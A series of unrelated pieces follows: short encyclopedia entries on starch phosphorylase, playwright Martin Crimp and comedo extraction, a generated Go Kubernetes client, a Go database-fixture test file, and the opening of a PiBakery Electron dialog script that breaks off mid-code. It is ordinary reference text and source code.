Starch phosphorylase is a form of phosphorylase similar to glycogen phosphorylase, except that it acts upon starch instead of glycogen. The plant alpha-glucan phosphorylase, commonly called starch phosphorylase (EC 2.4.1.1), is largely known for the phosphorolytic degradation of starch. Starch phosphorylase catalyzes the reversible transfer of glucosyl units from glucose-1-phosphate to the nonreducing end of alpha-1,4-D-glucan chains with the release of phosphate. Two distinct forms of starch phosphorylase, plastidic phosphorylase and cytosolic phosphorylase, have been consistently observed in higher plants. External links http://www.genome.ad.jp/dbget-bin/www_bget?ko+K00688 Rathore RS, Garg N, Garg S, Kumar A. Crit Rev Biotechnol. 2009;29(3):214-24. Starch phosphorylase: role in starch metabolism and biotechnological applications. http://informahealthcare.com/doi/abs/10.1080/07388550902926063 Transferases EC 2.4.1
```go /* path_to_url Unless required by applicable law or agreed to in writing, software WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ // Code generated by client-gen. DO NOT EDIT. package v1 import ( v1 "github.com/gravitational/workshop/crd/controller/pkg/apis/nginxcontroller/v1" "github.com/gravitational/workshop/crd/controller/pkg/generated/clientset/versioned/scheme" serializer "k8s.io/apimachinery/pkg/runtime/serializer" rest "k8s.io/client-go/rest" ) type TrainingV1Interface interface { RESTClient() rest.Interface NginxesGetter } // TrainingV1Client is used to interact with features provided by the training.example.com group. type TrainingV1Client struct { restClient rest.Interface } func (c *TrainingV1Client) Nginxes(namespace string) NginxInterface { return newNginxes(c, namespace) } // NewForConfig creates a new TrainingV1Client for the given config. func NewForConfig(c *rest.Config) (*TrainingV1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } client, err := rest.RESTClientFor(&config) if err != nil { return nil, err } return &TrainingV1Client{client}, nil } // NewForConfigOrDie creates a new TrainingV1Client for the given config and // panics if there is an error in the config. func NewForConfigOrDie(c *rest.Config) *TrainingV1Client { client, err := NewForConfig(c) if err != nil { panic(err) } return client } // New creates a new TrainingV1Client for the given RESTClient. func New(c rest.Interface) *TrainingV1Client { return &TrainingV1Client{c} } func setConfigDefaults(config *rest.Config) error { gv := v1.SchemeGroupVersion config.GroupVersion = &gv config.APIPath = "/apis" config.NegotiatedSerializer = serializer.DirectCodecFactory{CodecFactory: scheme.Codecs} if config.UserAgent == "" { config.UserAgent = rest.DefaultKubernetesUserAgent() } return nil } // RESTClient returns a RESTClient that is used to communicate // with API server by this client implementation. func (c *TrainingV1Client) RESTClient() rest.Interface { if c == nil { return nil } return c.restClient } ```
Martin Andrew Crimp (born 14 February 1956 in Dartford, Kent) is a British playwright. Early life and career The son of John Crimp, a British Rail signalling engineer, and his wife Jennie, Crimp's family moved in 1960 to Streatham where he attended a local primary school before winning a scholarship to Dulwich College. But when his father was transferred to York, he went to the nearby Pocklington School, where he showed an aptitude for languages, music, English literature, and theatre. He read English at St Catharine's College, Cambridge (1975–78), where his first play Clang was staged by fellow student Roger Michell. Before establishing himself as a playwright, he put together An Anatomy, a collection of short stories, and also wrote a novel Still Early Days. These remain unpublished. His first six plays were performed at the Orange Tree Theatre in Richmond. As he told Marsha Hanlon in an interview for the Orange Tree appeal brochure in 1991: "When the Orange Tree ran a workshop for local writers [in September 1981], I was invited to take part. The carrot was the chance of a lunchtime production, so I wrote Living Remains and the Orange Tree staged it – my first-ever produced play! I was so excited that I didn't think about the space where it was performed [then a room above a pub], but now I realise that the Orange Tree's intimacy and simplicity provided an extra layer of excitement." Seven of his plays, and his second Ionesco translation have also been presented at the Royal Court Theatre, London, where he became writer-in-residence in 1997. Professional career Playwright Crimp’s play Attempts on Her Life, which premiered at London’s Royal Court Theatre in 1997, was described by critic Aleks Sierz as the "event that secured his reputation as the most innovative, most exciting, and most exportable playwright of his generation" [Sierz, Aleks, Aleks, (2013) p.48]. The play presents a unique structure, as none of the lines are assigned to specific characters, and Crimp does not specify the number of actors required to perform the piece. The play consists of seventeen seemingly unrelated scenes in which groups of people provide contradictory descriptions of an absent protagonist, a woman who is discussed as a terrorist, the daughter of grieving parents, an artist, and even a new car. Through its deliberate fragmentation, Attempts on Her Life challenges the audience to reconsider their understanding of what constitutes a "play" and raises questions about the existence of individuals beyond the constructs we create. His other plays range from tragi-comic studies of suburban guilt and repression — Definitely the Bahamas (1987), Dealing with Clair (1989), The Country (2000) — via the satirical ‘entertainment’ In the Republic of Happiness (2012) — to powerful re-writings of Greek classics — Cruel & Tender (2004), The Rest Will Be Familiar to You from Cinema (2013). This unusual variety has led Vicky Angelaki to write: Crimp's work has successfully received numerous productions abroad. In Germany, he is considered to be "one of the most respected British playwrights" and it was reported in 2013 that there has been "more than 60 German-language productions of his work in the past two decades." In 2021, Crimp was recipient of Germany’s Nyssen-Bansemer theater prize in recognition of the importance of his body of work. [Süddeutsche Zeitung, 29 March 2021] Writing about the prize in Theater heute magazine, Till Briegleb praises the way that “With great authority, Crimp sketches the most diverse victims of a bourgeois society that wants to ignore all connections between their tranquil existence and the violence that makes it possible. From the murderer to the child, everyone who appears is unique, their life-lies and fears individual.” Martin Crimp is sometimes described as a practitioner of the "in-yer-face" school of contemporary British drama, although he rejects the label. In 2022, he performed his play Not one of these people, which gave voice to 299 different characters. Supported with a live deepfake video generator, imagined by Quebec director Christian Lapointe, the playwright accepted Lapointe’s invitation to perform as an actor on stage for the first time. Theatre translator From 1997 onwards, Crimp has had a parallel career as theatre translator, making his first impact at the Royal Court Theatre with a translation of Ionesco’s The Chairs, a production that subsequently transferred to Broadway. His re-writings of Molière’s The Misanthrope (1996, revived 2009) and Rostand’s Cyrano de Bergerac (2019/22) were both commercially and critically successful, the latter transferring from London’s West End to the Brooklyn Academy of Music. These rewritings have led some critics to see them as new plays. Angelaki, for example, argues that "Crimp’s radical adaptations … depart substantially from the early versions of the texts that inspire them and as such belong to a discussion of Crimp’s playwriting canon, rather than of his translations or versions" [Angelaki, Vicky, Op. Cit. page 154] Opera librettist In 2006, Crimp began a collaboration with composer George Benjamin that has led to the creation of three operas: Into the Little Hill (2006), Written on Skin (2012) and Lessons in Love and Violence (2018). Written on Skin in particular has garnered international acclaim since its premiere at the Festival d’Aix en Provence in 2012. Works Plays Not One Of These People (Carrefour international de théâtre Théâtre La Bordée 2022 ) When We Have Sufficiently Tortured Each Other: 12 Variations on Samuel Richardson’s Pamela, ("provoked" by Richardson's Pamela, National Theatre, Dorfman, 2019) Men Asleep (Deutsches Shauspielhaus 2018) The Rest Will Be Familiar to You from Cinema (inspired by Euripides' Phoenician Women, Deutsches Shauspielhaus 2013) In the Republic of Happiness (Royal Court Theatre 2012) Play House (Orange Tree 2012, revived with Definitely the Bahamas and directed by the author) The City (Royal Court, Jerwood Theatre Downstairs 2008) Fewer Emergencies (Royal Court, Theatre Upstairs 2005) Cruel and Tender (Young Vic 2004) Advice to Iraqi women (Royal Court 2003) Face to the Wall (Royal Court 2002) The Country (Royal Court 2000, revived at the Tabard Theatre May 2008) Attempts on Her Life (Royal Court 1997; National Theatre, Lyttelton, March 2007) The Treatment (Royal Court 1993; revived Almeida Theatre 2017) Getting Attention (Royal Court, Theatre Upstairs 1991) No One Sees the Video (Royal Court, Theatre Upstairs 1990) Play with Repeats (Orange Tree 1989) Dealing with Clair (Orange Tree 1988) Definitely the Bahamas, "a group of three plays for consecutive performance" also including A Kind of Arden and The Spanish Girls (Orange Tree 1987) A Variety of Death-Defying Acts (Orange Tree 1985) Four Attempted Acts (Orange Tree 1984) Living Remains (Orange Tree lunchtime, 9–25 July 1982) Translations Cyrano De Bergerac (Rostand) (Playhouse Theatre 2019, Harold Pinter Theatre 2022) Big and Small (Gross und klein by Botho Strauß), a 2011 Sydney Theatre Company production, co-commissioned by the Barbican Centre, London 2012 Festival, Théâtre de la Ville, Paris, Vienna Festival and Ruhrfestspiele Recklinghausen; Cate Blanchett as Lotte. Pains of Youth (Krankheit der Jugend by Ferdinand Bruckner) (National Theatre 2009) Rhinoceros (Ionesco) (Royal Court 2007) The Seagull (Chekhov) (National Theatre 2006) The False Servant (Marivaux) (National Theatre 2004) The Triumph of Love (Marivaux) (Almeida 1999) The Maids (Genet) (Young Vic 1999) Roberto Zucco (Bernard-Marie Koltès) (RSC The Other Place, Stratford 1997) The Chairs (Ionesco) (Theatre Royal Bath 1997) The Misanthrope (Molière) (Young Vic 1996, revived Comedy Theatre 2009) Love Games (Jerzy Przezdziecki) (co-written with Howard Curtis, Orange Tree Theatre lunchtime, 9 April – 1 May 1982) Opera libretti Lessons in Love and Violence (2018, composer George Benjamin) Written on Skin (2012, composer George Benjamin) Into the Little Hill (2006, composer George Benjamin) References Theatre Record and its annual indexes Sierz, Aleks The Theatre of Martin Crimp, Methuen (2007) . Devine, Harriet Looking Back, Faber (2006) . Edgar, David Each Scene for Itself, London Review of Books 4 March 1999 External links Literary Encyclopedia page on Martin Crimp 1956 births Alumni of St Catharine's College, Cambridge 20th-century English dramatists and playwrights Living people People educated at Pocklington School People from Dartford English opera librettists English male dramatists and playwrights 20th-century English male writers 20th-century English translators 21st-century English dramatists and playwrights 21st-century English male writers 21st-century British translators
Comedo extraction is a widely used method of treatment for acne vulgaris. A dermatologist or cosmetologist may extract blackheads (open comedones) using gentle pressure around the pore opening, and whiteheads (closed comedones) by incision with a large needle or a blade. If performed skillfully, this treatment may be beneficial to the patient. Possible negative effects of the procedure include incomplete extraction, refilling, scarring and tissue damage. There are few articles describing the use of comedo extraction in peer-reviewed dermatology journals. In one 1964 study of extraction of non-inflamed whiteheads on patients' foreheads (the only study of the procedure cited in a 2007 literature review), the procedure reduced the number of future inflamed lesions and the recurrence rate of comedones, but worsened patients' inflamed cystic lesions. References Dermatologic procedures Medical treatments
```go package testfixtures import ( "bytes" "database/sql" "embed" "fmt" "os" "testing" "time" _ "github.com/joho/godotenv/autoload" ) //go:embed testdata var fixtures embed.FS //nolint:unused func TestFixtureFile(t *testing.T) { f := &fixtureFile{fileName: "posts.yml"} file := f.fileNameWithoutExtension() if file != "posts" { t.Errorf("Should be 'posts', but returned %s", file) } } func TestRequiredOptions(t *testing.T) { t.Run("DatabaseIsRequired", func(t *testing.T) { _, err := New() if err != errDatabaseIsRequired { t.Error("should return an error if database if not given") } }) t.Run("DialectIsRequired", func(t *testing.T) { _, err := New(Database(&sql.DB{})) if err != errDialectIsRequired { t.Error("should return an error if dialect if not given") } }) } func testLoader(t *testing.T, dialect, connStr, schemaFilePath string, additionalOptions ...func(*Loader) error) { //nolint db, err := sql.Open(dialect, connStr) if err != nil { t.Errorf("failed to open database: %v", err) return } defer db.Close() if err := db.Ping(); err != nil { t.Errorf("failed to connect to database: %v", err) return } schema, err := os.ReadFile(schemaFilePath) if err != nil { t.Errorf("cannot read schema file: %v", err) return } helper, err := helperForDialect(dialect) if err != nil { t.Errorf("cannot get helper: %v", err) return } if err := helper.init(db); err != nil { t.Errorf("cannot init helper: %v", err) return } var batches [][]byte if h, ok := helper.(batchSplitter); ok { batches = append(batches, bytes.Split(schema, h.splitter())...) } else { batches = append(batches, schema) } for _, b := range batches { if len(b) == 0 { continue } if _, err = db.Exec(string(b)); err != nil { t.Errorf("cannot load schema: %v", err) return } } t.Run("LoadFromDirectory", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Directory("testdata/fixtures"), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } // Call load again to test against a database with existing data. if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromDirectory with SkipTableChecksumComputation", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Directory("testdata/fixtures"), SkipTableChecksumComputation(), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } // Call load again to test against a database with existing data. if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromDirectory-Multiple", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Directory("testdata/fixtures_dirs/fixtures1"), Directory("testdata/fixtures_dirs/fixtures2"), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromFiles", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Files( "testdata/fixtures/posts.yml", "testdata/fixtures/comments.yml", "testdata/fixtures/tags.yml", "testdata/fixtures/posts_tags.yml", "testdata/fixtures/users.yml", "testdata/fixtures/assets.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromFiles-Multiple", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Files( "testdata/fixtures/posts.yml", "testdata/fixtures/comments.yml", ), Files( "testdata/fixtures/tags.yml", "testdata/fixtures/posts_tags.yml", "testdata/fixtures/users.yml", "testdata/fixtures/assets.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromFiles-MultiTables", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), FilesMultiTables( "testdata/fixtures_multi_tables/posts_comments.yml", "testdata/fixtures_multi_tables/tags.yml", "testdata/fixtures_multi_tables/users.yml", "testdata/fixtures_multi_tables/posts_tags.yml", "testdata/fixtures_multi_tables/assets.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromFiles-MultiTablesWithFS", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), FS(fixtures), FilesMultiTables( "testdata/fixtures_multi_tables/posts_comments.yml", "testdata/fixtures_multi_tables/tags.yml", "testdata/fixtures_multi_tables/users.yml", "testdata/fixtures_multi_tables/posts_tags.yml", "testdata/fixtures_multi_tables/assets.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromDirectoryAndFiles", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Directory("testdata/fixtures_dirs/fixtures1"), Files( "testdata/fixtures/tags.yml", "testdata/fixtures/users.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromDirectoryAndFilesWithFS", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), FS(fixtures), Directory("testdata/fixtures_dirs/fixtures1"), Files( "testdata/fixtures/tags.yml", "testdata/fixtures/users.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromPaths", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Paths( "testdata/fixtures_dirs/fixtures1", "testdata/fixtures_dirs/fixtures2/tags.yml", "testdata/fixtures_dirs/fixtures2/users.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromPathsWithFS", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), FS(fixtures), Paths( "testdata/fixtures_dirs/fixtures1", "testdata/fixtures_dirs/fixtures2/tags.yml", "testdata/fixtures_dirs/fixtures2/users.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromPaths-OnlyFiles", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Paths( "testdata/fixtures/posts.yml", "testdata/fixtures/comments.yml", "testdata/fixtures/tags.yml", "testdata/fixtures/posts_tags.yml", "testdata/fixtures/users.yml", "testdata/fixtures/assets.yml", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("LoadFromPaths-OnlyDirs", func(t *testing.T) { options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Template(), TemplateData(map[string]interface{}{ "PostIds": []int{1, 2}, "TagIds": []int{1, 2, 3}, }), Paths( "testdata/fixtures_dirs/fixtures1", "testdata/fixtures_dirs/fixtures2", ), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Errorf("cannot load fixtures: %v", err) } assertFixturesLoaded(t, l) }) t.Run("GenerateAndLoad", func(t *testing.T) { dir, err := os.MkdirTemp(os.TempDir(), "testfixtures_test") if err != nil { t.Errorf("cannot create temp dir: %v", err) return } dumper, err := NewDumper( DumpDatabase(db), DumpDialect(dialect), DumpDirectory(dir), ) if err != nil { t.Errorf("could not create dumper: %v", err) return } if err := dumper.Dump(); err != nil { t.Errorf("cannot generate fixtures: %v", err) return } options := append( []func(*Loader) error{ Database(db), Dialect(dialect), Directory(dir), }, additionalOptions..., ) l, err := New(options...) if err != nil { t.Errorf("failed to create Loader: %v", err) return } if err := l.Load(); err != nil { t.Error(err) } }) t.Run("InsertAfterLoad", func(t *testing.T) { // This test was originally written to catch a bug where it // wasn't possible to insert a record on PostgreSQL due // sequence issues. var sql string switch helper.paramType() { case paramTypeDollar: sql = "INSERT INTO posts (title, content, created_at, updated_at) VALUES ($1, $2, $3, $4)" case paramTypeQuestion: sql = "INSERT INTO posts (title, content, created_at, updated_at) VALUES (?, ?, ?, ?)" case paramTypeAtSign: sql = "INSERT INTO posts (title, content, created_at, updated_at) VALUES (@p1, @p2, @p3, @p4)" default: panic("unrecognized param type") } _, err = db.Exec(sql, "Post title", "Post content", time.Now(), time.Now()) if err != nil { t.Errorf("cannot insert post: %v", err) } }) } func assertFixturesLoaded(t *testing.T, l *Loader) { //nolint assertCount(t, l, "posts", 2) assertCount(t, l, "comments", 4) assertCount(t, l, "tags", 3) assertCount(t, l, "posts_tags", 6) assertCount(t, l, "users", 2) assertCount(t, l, "assets", 1) } func assertCount(t *testing.T, l *Loader, table string, expectedCount int) { //nolint count := 0 sql := fmt.Sprintf("SELECT COUNT(*) FROM %s", l.helper.quoteKeyword(table)) row := l.db.QueryRow(sql) if err := row.Scan(&count); err != nil { t.Errorf("cannot query table: %v", err) } if count != expectedCount { t.Errorf("%s should have %d, but has %d", table, expectedCount, count) } } func TestQuoteKeyword(t *testing.T) { tests := []struct { helper helper keyword string expected string }{ {&postgreSQL{}, `posts_tags`, `"posts_tags"`}, {&postgreSQL{}, `test_schema.posts_tags`, `"test_schema"."posts_tags"`}, {&sqlserver{}, `posts_tags`, `[posts_tags]`}, {&sqlserver{}, `test_schema.posts_tags`, `[test_schema].[posts_tags]`}, } for _, test := range tests { actual := test.helper.quoteKeyword(test.keyword) if test.expected != actual { t.Errorf("TestQuoteKeyword keyword %s should have escaped to %s. Received %s instead", test.keyword, test.expected, actual) } } } func TestEnsureTestDatabase(t *testing.T) { tests := []struct { name string isTestDatabase bool }{ {"db_test", true}, {"dbTEST", true}, {"testdb", true}, {"production", false}, {"productionTestCopy", true}, {"t_e_s_t", false}, {"ES", false}, // cyrillic T } for _, it := range tests { var ( mockedHelper = NewMockHelper(it.name) l = &Loader{helper: mockedHelper} err = l.EnsureTestDatabase() ) if err != nil && it.isTestDatabase { t.Errorf("EnsureTestDatabase() should return nil for name = %s", it.name) } if err == nil && !it.isTestDatabase { t.Errorf("EnsureTestDatabase() should return error for name = %s", it.name) } } } ```
```javascript /* * PiBakery 2.0.0 - The easy to use setup tool for Raspberry Pi * * This program is free software: you can redistribute it and/or modify * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * along with this program. If not, see <path_to_url */ 'use strict' module.exports = { imageChosenCallback: null, sdChooserOpen: false, updateChooserOpen: false, loadChooserOpen: false, showSdChooser: showSdChooser, updateSdChooser: updateSdChooser, showSdWriter: showSdWriter, updateProgress: updateProgress, showSdError: showSdError, showSdComplete: showSdComplete, showDriveChooser: showDriveChooser, updateUpdateChooser: updateUpdateChooser, closeDialog: dialogCloseClicked, showBlockInfo: showBlockInfo, removeIntro: removeIntro, showWorkspace: showWorkspace, elements: {} } module.exports.elements = { editor: document.getElementById('blockly_editor'), toolbox: document.getElementById('toolbox'), writeBtn: document.getElementById('flashSD'), updateBtn: document.getElementById('updateSD'), loadBtn: document.getElementById('loadSD'), importBtn: document.getElementById('import'), exportBtn: document.getElementById('export'), settingsBtn: document.getElementById('settings') } var path = require('path') var dialog = require('electron').remote.dialog function showChooserDialog (title, btnText, sd, os, modifications, dialogWriteClicked) { var hiderElement = document.createElement('div') hiderElement.setAttribute('id', 'hider') var dialogElement = document.createElement('div') dialogElement.setAttribute('id', 'dialog') var titleElement = document.createElement('p') titleElement.setAttribute('id', 'dialogTitle') titleElement.innerText = title dialogElement.appendChild(titleElement) var tableElement = document.createElement('table') tableElement.setAttribute('id', 'dialogTable') dialogElement.appendChild(tableElement) if (sd) { var sdRowElement = document.createElement('tr') var sdTextColumnElement = document.createElement('td') var sdTextElement = document.createElement('span') sdTextElement.innerText = 'SD Card:' sdTextColumnElement.appendChild(sdTextElement) var sdChoiceColumnElement = document.createElement('td') var sdChoiceElement = document.createElement('select') sdChoiceElement.setAttribute('id', 'dialogSdChoice') sdChoiceElement.setAttribute('class', 'dialogChoice') var sdChoicePlaceholderElement = document.createElement('option') sdChoicePlaceholderElement.innerText = 'loading...' sdChoicePlaceholderElement.disabled = true sdChoicePlaceholderElement.selected = true sdChoiceElement.appendChild(sdChoicePlaceholderElement) sdChoiceColumnElement.appendChild(sdChoiceElement) sdRowElement.appendChild(sdTextColumnElement) sdRowElement.appendChild(sdChoiceColumnElement) tableElement.appendChild(sdRowElement) } if (os) { var osRowElement = document.createElement('tr') var osTextColumnElement = document.createElement('td') var osTextElement = document.createElement('span') osTextElement.innerText = 'Operating System:' osTextColumnElement.appendChild(osTextElement) var osChoiceColumnElement = document.createElement('td') var osChoiceElement = document.createElement('select') osChoiceElement.setAttribute('id', 'dialogOsChoice') osChoiceElement.setAttribute('class', 'dialogChoice') var osChoicePlaceholderElement = document.createElement('option') osChoicePlaceholderElement.innerText = 'loading...' osChoicePlaceholderElement.disabled = true osChoicePlaceholderElement.selected = true osChoiceElement.appendChild(osChoicePlaceholderElement) osChoiceColumnElement.appendChild(osChoiceElement) osRowElement.appendChild(osTextColumnElement) osRowElement.appendChild(osChoiceColumnElement) tableElement.appendChild(osRowElement) } var writeButtonElement = document.createElement('button') writeButtonElement.setAttribute('id', 'dialogWriteButton') writeButtonElement.setAttribute('class', 'dialogButton') writeButtonElement.disabled = true writeButtonElement.innerText = btnText writeButtonElement.addEventListener('click', dialogWriteClicked) dialogElement.appendChild(writeButtonElement) var closeButtonElement = document.createElement('button') closeButtonElement.setAttribute('id', 'dialogCloseButton') closeButtonElement.setAttribute('class', 'dialogButton') closeButtonElement.innerText = 'Close' closeButtonElement.addEventListener('click', dialogCloseClicked) dialogElement.appendChild(closeButtonElement) if (typeof modifications === 'function') { modifications(dialogElement) } document.body.appendChild(hiderElement) document.body.appendChild(dialogElement) } function showSdChooser (writeCallback) { module.exports.sdChooserOpen = true showChooserDialog('Write New SD Card', 'Write', true, true, function (dialog) { // any modifications go here dialog.style.height = '165px' dialog.style.marginTop = '-70px' }, function () { // write button pushed callback module.exports.sdChooserOpen = false var sdChoiceElement = document.getElementById('dialogSdChoice') var chosenDriveElement = sdChoiceElement.options[sdChoiceElement.selectedIndex] var chosenDrive = JSON.parse(chosenDriveElement.value) var osChoiceElement = document.getElementById('dialogOsChoice') var chosenOperatingSystemElement = osChoiceElement.options[osChoiceElement.selectedIndex] var chosenOs = { name: chosenOperatingSystemElement.innerHTML, path: chosenOperatingSystemElement.value } writeCallback(chosenDrive, chosenOs) }) } function showDriveChooser (updateCallback, title, btn) { module.exports.updateChooserOpen = true showChooserDialog(title, btn, true, false, function (dialog) { // any modifications go here dialog.style.height = '150px' dialog.style.marginTop = '-65px' }, function () { // write button pushed callback module.exports.updateChooserOpen = false var sdChoiceElement = document.getElementById('dialogSdChoice') var chosenDriveElement = sdChoiceElement.options[sdChoiceElement.selectedIndex] var chosenDrive = JSON.parse(chosenDriveElement.value) updateCallback(chosenDrive) }) } function updateUpdateChooser (drives) { if (drives) { var sdChoiceElement = document.getElementById('dialogSdChoice') // build up array of new drives var newDrives = [] for (var i = 0; i < drives.length; i++) { var currentDrive = drives[i] var driveOptionElement = document.createElement('option') driveOptionElement.setAttribute('value', JSON.stringify(currentDrive)) driveOptionElement.innerText = currentDrive.name newDrives.push(driveOptionElement) } updateSelectElement(sdChoiceElement, newDrives) } enableWriteButton(true, false) } function dialogCloseClicked () { if (module.exports.sdChooserOpen) { module.exports.sdChooserOpen = false } else if (module.exports.updateChooserOpen) { module.exports.updateChooserOpen = false } var hiderElement = document.getElementById('hider') var dialogElement = document.getElementById('dialog') hiderElement.parentNode.removeChild(hiderElement) dialogElement.parentNode.removeChild(dialogElement) } function optionsIndexOf (array, option) { // a form of indexOf for an array of <option> elements // checks the innerHTML and value for (var i = 0; i < array.length; i++) { var valuesEqual = array[i].value == option.value var innerHtmlEqual = array[i].innerHTML == option.innerHTML if (valuesEqual && innerHtmlEqual) { return i } } return -1 } // element is <select> element to update // newOptions is an ARRAY of <option> elements - the new ones function updateSelectElement (element, newOptions) { // get current options as ARRAY (not HTMLCollection) var currentOptions = element.getElementsByTagName('option') currentOptions = Array.prototype.slice.call(currentOptions) // remove options that aren't necessary any more for (var i = 0; i < currentOptions.length; i++) { var needToRemoveOption = optionsIndexOf(newOptions, currentOptions[i]) == -1 if (needToRemoveOption || currentOptions[i].value == 'chooseother') { element.removeChild(currentOptions[i]) currentOptions.splice(i, 1) } } // add in new options for (var i = 0; i < newOptions.length; i++) { var needToAddOption = optionsIndexOf(currentOptions, newOptions[i]) == -1 if (needToAddOption) { element.appendChild(newOptions[i]) } } } function chooseNewImage (operatingSystems) { var osChoiceElement = document.getElementById('dialogOsChoice') var options = { title: 'Choose Operating System Image', filters: [ {name: 'Image Files (*.img)', extensions: ['img']} ], properties: [ 'openFile' ] } var paths = dialog.showOpenDialog(options) if (paths === undefined) { // no path was chosen return } // a path was chosen var newPath = paths[0] // show the chooser document.getElementById('dialogOsChoice').style.display = "block" // run the callback module.exports.imageChosenCallback(newPath) // add the new path onto beginning of existing ones operatingSystems.pop() operatingSystems.unshift({ display: path.basename(newPath), value: newPath }) // re-run this function updateSdChooser(null, operatingSystems) osChoiceElement.value = newPath enableWriteButton(true, true) return } function updateSdChooser (drives, operatingSystems) { if (drives) { var sdChoiceElement = document.getElementById('dialogSdChoice') // build up array of new drives var newDrives = [] for (var i = 0; i < drives.length; i++) { var currentDrive = drives[i] var driveOptionElement = document.createElement('option') driveOptionElement.setAttribute('value', JSON.stringify(currentDrive)) driveOptionElement.innerText = currentDrive.name newDrives.push(driveOptionElement) } updateSelectElement(sdChoiceElement, newDrives) } if (operatingSystems) { var osChoiceElement = document.getElementById('dialogOsChoice') // if there are images, add an extra 'Choose Other' option if (operatingSystems.length != 0) { operatingSystems.push({ display:'Choose Other', value: 'chooseother' }) } // special case when there is no operating systems if (operatingSystems.length == 0) { // if there are none, then display a file chooser button // hide the selection box osChoiceElement.style.display = 'none' var buttonExists = 